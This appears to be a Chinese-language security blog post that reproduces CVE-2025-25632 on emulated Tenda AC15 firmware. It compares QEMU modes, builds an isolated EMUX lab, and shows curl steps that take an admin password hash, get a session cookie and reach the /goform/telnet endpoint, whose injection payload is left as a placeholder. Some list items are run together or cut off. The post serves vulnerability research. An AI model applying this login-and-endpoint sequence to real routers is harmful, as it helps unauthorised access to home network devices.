昨天透過靜態分析確認了 CVE-2025-25632 的命令注入路徑,今天進入動態環境實際觸發漏洞。我們會比較不同的模擬方案,最終使用 EMUX 完成完整的攻擊鏈驗證。
在實際模擬方面,先介紹一下兩種常用的 QEMU 模式:
QEMU是一個開源的模擬器,可以執行針對不同 CPU 架構所開發的軟體。有分成部分靜態模擬的 QEMU-USER 和 整個rootfs模擬的 QEMU-SYSTEM 兩種模式
qemu-arm -L rootfs-v19 rootfs-v19/bin/httpd
觀察:
httpd 進程會啟動但不會監聽 port 80cfmd daemon 需要 MTD 設備、/proc/mtd、網卡驅動支援cfmd 後沒有出現 HTTP listenerqemu-system-arm -M vexpress-a9 -kernel zImage -dtb vexpress-v2p-ca9.dtb ...
限制:
cfmd、httpd、telnet)未整合結論:硬體虛擬化正確,但缺少 AC15 環境整合

優勢:
--internal Docker network)# 建立內部網路(無外網存取)
docker network create --internal ac15-lab
# 啟動 EMUX 容器
docker run -it --rm \
--name emux-tenda-ac15 \
--privileged \
--network ac15-lab \
-v ac15-emux-case:/emux/work \
emux/firmware:latest /bin/bash
網路拓撲:
Host
└─ Docker network: ac15-lab (--internal)
└─ EMUX container
└─ QEMU ARM guest (TAP interface)
└─ AC15 services @ 192.168.100.2
├─ httpd:80
└─ telnetd:23
在 EMUX 容器內執行內建run-init :
chroot 進入 /emux/firmware/AC15/squashfs-root
cfmd、httpd、telnetd
cfmd (daemon)
├─ NVRAM emulation (persistent storage)
├─ Key-value database (sys.*, lan.*, wan.*)
└─ Provides: GetValue(), SetValue() APIs
↓
httpd (web server)
└─ Calls CFM APIs for config read/write
Step 1: 讀取 CFM 中的密碼
# 在 ARM guest 中查詢
cfm get sys.userpass
# 輸出
ce80adc6ed1ab2b7f2c85b5fdcd8babc
Step 2: 登入取得 session cookie
curl -i -X POST http://192.168.100.2/login/Auth \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=ce80adc6ed1ab2b7f2c85b5fdcd8babc"
HTTP/1.1 302 Found
Set-Cookie: password=ce80adc6ed1ab2b7f2c85b5fdcd8babcavrcvb; path=/
Location: http://192.168.100.2/main.html
Step 3: 使用有效 cookie 存取 /goform/*
export SESSION="password=ce80adc6ed1ab2b7f2c85b5fdcd8babcavrcvb"
curl -X POST http://192.168.100.2/goform/telnet \
-H "Cookie: $SESSION" \
-d "xxx"